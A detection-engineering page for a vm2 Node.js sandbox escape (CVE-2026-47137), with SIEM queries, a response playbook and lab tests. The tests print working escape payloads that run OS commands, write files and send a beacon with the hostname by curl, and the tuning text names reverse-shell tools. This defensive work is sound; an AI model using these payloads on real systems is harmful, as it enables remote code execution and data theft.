CVE-2026-47137

CVE-2026-47137 — vm2 Sandbox Escape via nesting:true Bypass (RCE)

Detects exploitation of CVE-2026-47137, a critical sandbox escape vulnerability in the vm2 Node.js library (<=3.11.3). This bypass circumvents the CVE-2023-37903 patch by abusing the nesting:true configuration option without an explicit require, enabling full remote code execution from within a sandboxed context. CVSS 10.0. A patch is available in vm2 >= 3.11.4.

Vulnerability Intelligence

Public PoC

What is CVE-2026-47137 CVE-2026-47137 — vm2 Sandbox Escape via nesting:true Bypass (RCE)?

CVE-2026-47137 — vm2 Sandbox Escape via nesting:true Bypass (RCE) (CVE-2026-47137) maps to the Execution and Privilege Escalation and Lateral Movement tactics — the adversary is trying to run malicious code in MITRE ATT&CK.

This page provides production-ready detection logic for CVE-2026-47137 — vm2 Sandbox Escape via nesting:true Bypass (RCE), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel, Azure Monitor. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Execution Privilege Escalation Lateral Movement
Microsoft Sentinel / Defender
kusto
union DeviceProcessEvents, DeviceFileEvents, DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("node", "node.exe", "nodejs")
| where (
    (ProcessCommandLine has "vm2" and ProcessCommandLine has_any ("nesting", "sandbox", "VM", "require"))
    or (InitiatingProcessCommandLine has "vm2" and InitiatingProcessCommandLine has_any ("nesting:true", "sandbox escape"))
    or (FileName has_any ("vm2") and ActionType == "FileCreated" and FolderPath has "node_modules")
  )
| extend SuspiciousChildProcess = iff(
    ProcessCommandLine has_any ("child_process", "exec", "spawn", "execSync", "spawnSync", "execFileSync"),
    true, false
  )
| extend NetworkEgress = iff(
    RemoteIPType == "Public" and ActionType == "NetworkConnectionSuccess",
    true, false
  )
| where SuspiciousChildProcess == true or NetworkEgress == true
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, ProcessCommandLine, RemoteIP, RemotePort,
    FileName, FolderPath, ActionType, SuspiciousChildProcess, NetworkEgress
| sort by TimeGenerated desc

Identifies Node.js processes loading vm2 that subsequently spawn child processes or initiate outbound network connections, which may indicate exploitation of the CVE-2026-47137 sandbox escape. Correlates process, file, and network telemetry.

critical severity high confidence

Data Sources

Microsoft Defender for Endpoint Microsoft Sentinel Azure Monitor

Required Tables

DeviceProcessEvents DeviceFileEvents DeviceNetworkEvents

False Positives

  • Legitimate Node.js applications using vm2 for safe sandboxing that invoke child_process for valid build or test workflows
  • CI/CD pipeline runners executing npm test suites that reference vm2 in test scaffolding
  • Developer workstations running vm2-based tooling (e.g., code playgrounds) with expected network activity
  • Automated security scanners or DAST tools that probe vm2-based endpoints and trigger benign child process spawns

Sigma rule & cross-platform mapping

The detection logic for CVE-2026-47137 — vm2 Sandbox Escape via nesting:true Bypass (RCE) (CVE-2026-47137) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1vm2 nesting:true Sandbox Escape via CVE-2026-47137

    Expected signal: Sysmon EventID 1 showing node process spawning with vm2 in command line; child_process.execSync call visible in process arguments; file creation event for /tmp/vm2_escape_proof.txt

  2. Test 2vm2 Vulnerable Version Installation and Verification

    Expected signal: npm install process spawning with [email protected] argument; file creation events under /tmp/vm2_test/node_modules/vm2/; network connection to npm registry (registry.npmjs.org:443)

  3. Test 3vm2 Reverse Shell Simulation Post-Escape

    Expected signal: Network connection from node process to 127.0.0.1:9999 (or configured beacon host); curl child process spawned from Node.js parent; DNS/HTTP request with CVE identifier in URI path

  4. Test 4vm2 nesting Bypass with Prototype Chain Traversal (Variant)

    Expected signal: Node.js process with vm2 in command line; fs.writeFileSync call resulting in file creation event at /tmp/vm2_variant_proof.txt; no child process spawned in this variant


Response Playbook

Triage

  1. Identify the Node.js process that invoked vm2: capture full command line, working directory, parent PID, and environment variables. Determine the application name and whether vm2 was used intentionally for sandboxing.
  2. Check the installed vm2 package version on the affected host: run `npm list vm2 --depth=0` or inspect `package-lock.json`/`yarn.lock` inside the application directory. Confirm if version is <= 3.11.3 (vulnerable) or >= 3.11.4 (patched).
  3. Review the nesting configuration: examine application source for `new VM({ nesting: true })` or `new NodeVM({ nesting: true })` instantiation patterns. Determine if explicit `require` is disabled while nesting is enabled — this is the bypass condition.
  4. Assess the child process or network output: determine what commands were executed post-escape (id, whoami, curl, wget, reverse shell patterns) and what remote IPs were contacted. Classify severity of exploitation based on observed follow-on actions.
  5. Search for additional compromised hosts: identify all servers in the environment running the same Node.js application and apply the same vm2 version check across the fleet via asset inventory or vulnerability scanner.

Containment

  1. Immediately isolate the affected host from the network if active exploitation is confirmed or a reverse shell or lateral movement artifact is detected. Use EDR host isolation, firewall ACL, or cloud security group modification to block inbound/outbound traffic while preserving forensic state.
  2. Upgrade vm2 to >= 3.11.4 on all affected hosts (patch now available): `npm install vm2@latest` or `npm install [email protected]`. If the application cannot be immediately patched, disable the service or apply a WAF rule blocking inputs reaching the vm2 sandbox. Document the emergency change.
  3. Rotate any secrets that were accessible to the Node.js process (API keys, DB credentials, JWT secrets, cloud IAM tokens) as these may have been exfiltrated during the sandbox escape.

Evidence Collection

  1. Capture a full memory dump and disk image of the compromised host before remediation. Preserve Node.js process memory (`/proc/<pid>/mem`, `gcore`), application logs, and npm package directories including `node_modules/vm2/` for forensic verification of the exploit payload.
  2. Collect all relevant logs: application logs containing vm2 invocation context, OS-level process audit logs (auditd, Sysmon EventID 1/10/11), network flow logs showing outbound connections from the Node.js process, and any WAF or reverse proxy access logs capturing the HTTP request that triggered exploitation.

Escalation Criteria

  • ! Escalate to Incident Response if the post-escape activity includes credential access (reading /etc/shadow, querying secret stores, accessing cloud metadata endpoints), lateral movement (SSH to other hosts, internal port scanning), or data exfiltration (large outbound transfers to external IPs).
  • ! Escalate to senior leadership and legal/compliance teams if the compromised application handles PII, payment card data, health records, or other regulated data types, as breach notification obligations may apply under GDPR, PCI-DSS, or HIPAA.

Investigation Guide

Forensic Artifacts

  • > node_modules/vm2/package.json — version field confirms whether the vulnerable (<= 3.11.3) or patched (>= 3.11.4) release is installed
  • > Application source files containing `new VM(` or `new NodeVM(` instantiation with nesting:true option
  • > OS process table and auditd/Sysmon records showing node parent → sh/bash/cmd.exe child process chain
  • > Network flow records with source PID matching the Node.js process making outbound connections to non-RFC1918 addresses
  • > Shell history files (~/.bash_history, ~/.zsh_history) or /tmp directories on the host containing attacker-dropped files or reverse shell artifacts

Tuning Guidance

Reduce false positives by building an allowlist of known-safe Node.js application names (e.g., specific service account names or working directories) that legitimately use vm2 with nesting. Apply additional scoring for rare child process names (e.g., nc, ncat, python3 -c) or outbound connections on unusual ports (4444, 9001, 1337). In CI/CD environments, suppress alerts from ephemeral build agents identified by hostname prefix. Increase confidence by correlating with npm audit findings showing vm2 <= 3.11.3 on the same host. A vendor patch is available in vm2 >= 3.11.4; hosts confirmed patched can be excluded from alerting.


Hunting Queries

Threat-hunt query to retrospectively identify all Node.js vm2 invocations across the environment over the past 30 days, surfacing process lineage anomalies that may represent undetected CVE-2026-47137 exploitation or reconnaissance.

Hunting — KQL
kql
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where ProcessCommandLine has_any ("vm2", "nesting")
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated),
    ChildProcesses=make_set(FileName), CommandLines=make_set(ProcessCommandLine)
    BY DeviceName, InitiatingProcessFileName, AccountName
| where array_length(ChildProcesses) > 0
| sort by LastSeen desc
Hunting — SPL
spl
index=* sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
| eval has_vm2 = if(match(CommandLine, "(?i)vm2|nesting"), 1, 0)
| eval is_node = if(match(ParentImage, "(?i)node(\.exe)?$"), 1, 0)
| where has_vm2=1 AND is_node=1
| stats count BY Computer, ParentImage, Image, CommandLine, User
| sort - count

Atomic Red Team Tests

Test 1 vm2 nesting:true Sandbox Escape via CVE-2026-47137
linux

Reproduces the CVE-2026-47137 bypass by instantiating a vm2 NodeVM with nesting:true and no explicit require allowlist, then executing code that breaks out of the sandbox to run an OS command. FOR LAB USE ONLY.

Command

bash
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ nesting: true, sandbox: {} });
const result = vm.run(\`
  const { execSync } = this.constructor.constructor('return process')().mainModule.require('child_process');
  execSync('id > /tmp/vm2_escape_proof.txt');
  'escaped';
\`);
console.log('Result:', result);
"

Cleanup

bash
rm -f /tmp/vm2_escape_proof.txt

Expected Telemetry

Sysmon EventID 1 showing node process spawning with vm2 in command line; child_process.execSync call visible in process arguments; file creation event for /tmp/vm2_escape_proof.txt

Expected Detection

Alert fires on KQL/SPL detection rules matching Node.js process with vm2 reference and child_process/execSync invocation

Test 2 vm2 Vulnerable Version Installation and Verification
linux

Installs a vulnerable version of vm2 (<= 3.11.3) in an isolated test directory to simulate a compromised environment for detection testing.

Command

bash
mkdir -p /tmp/vm2_test && cd /tmp/vm2_test && npm init -y && npm install [email protected] && node -e "const vm2 = require('vm2'); console.log('vm2 version:', require('./node_modules/vm2/package.json').version);"

Cleanup

bash
rm -rf /tmp/vm2_test

Expected Telemetry

npm install process spawning with [email protected] argument; file creation events under /tmp/vm2_test/node_modules/vm2/; network connection to npm registry (registry.npmjs.org:443)

Expected Detection

Package installation monitoring alerts (if configured) for known-vulnerable vm2 version; file integrity monitoring on node_modules directories

Test 3 vm2 Reverse Shell Simulation Post-Escape
linux

Simulates the post-exploitation phase of CVE-2026-47137 by using the vm2 sandbox escape to initiate a network callback (simulated reverse shell beacon) to a controlled endpoint. FOR LAB USE ONLY.

Command

bash
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ nesting: true });
vm.run(\`
  const proc = this.constructor.constructor('return process')();
  const { execSync } = proc.mainModule.require('child_process');
  execSync('curl -s --max-time 3 http://127.0.0.1:9999/beacon?host=\$(hostname)&cve=CVE-2026-47137 || true');
\`);
"

Cleanup

bash
pkill -f 'nc -l.*9999' 2>/dev/null || true

Expected Telemetry

Network connection from node process to 127.0.0.1:9999 (or configured beacon host); curl child process spawned from Node.js parent; DNS/HTTP request with CVE identifier in URI path

Expected Detection

Network detection rules fire on outbound connection from node parent process; process lineage alert on node → curl spawn chain; URI-based IDS signature on CVE-2026-47137 string in HTTP request

Test 4 vm2 nesting Bypass with Prototype Chain Traversal (Variant)
linux

Tests an alternative prototype chain traversal payload for CVE-2026-47137 that reaches the host process object without using require, confirming the breadth of the attack surface for this bypass.

Command

bash
node -e "
const { VM } = require('vm2');
const vm = new VM({ nesting: true });
try {
  vm.run(\`
    const fn = this.constructor.constructor;
    const process = fn('return process')();
    process.mainModule.require('fs').writeFileSync('/tmp/vm2_variant_proof.txt', 'CVE-2026-47137 variant confirmed\\n');
  \`);
  console.log('Variant escape succeeded');
} catch(e) {
  console.log('Variant escape failed (may be patched):', e.message);
}
"

Cleanup

bash
rm -f /tmp/vm2_variant_proof.txt

Expected Telemetry

Node.js process with vm2 in command line; fs.writeFileSync call resulting in file creation event at /tmp/vm2_variant_proof.txt; no child process spawned in this variant

Expected Detection

File integrity monitoring on /tmp for unexpected file creation by node process; application-layer logging if vm2 error handling captures the escape attempt

Related Detections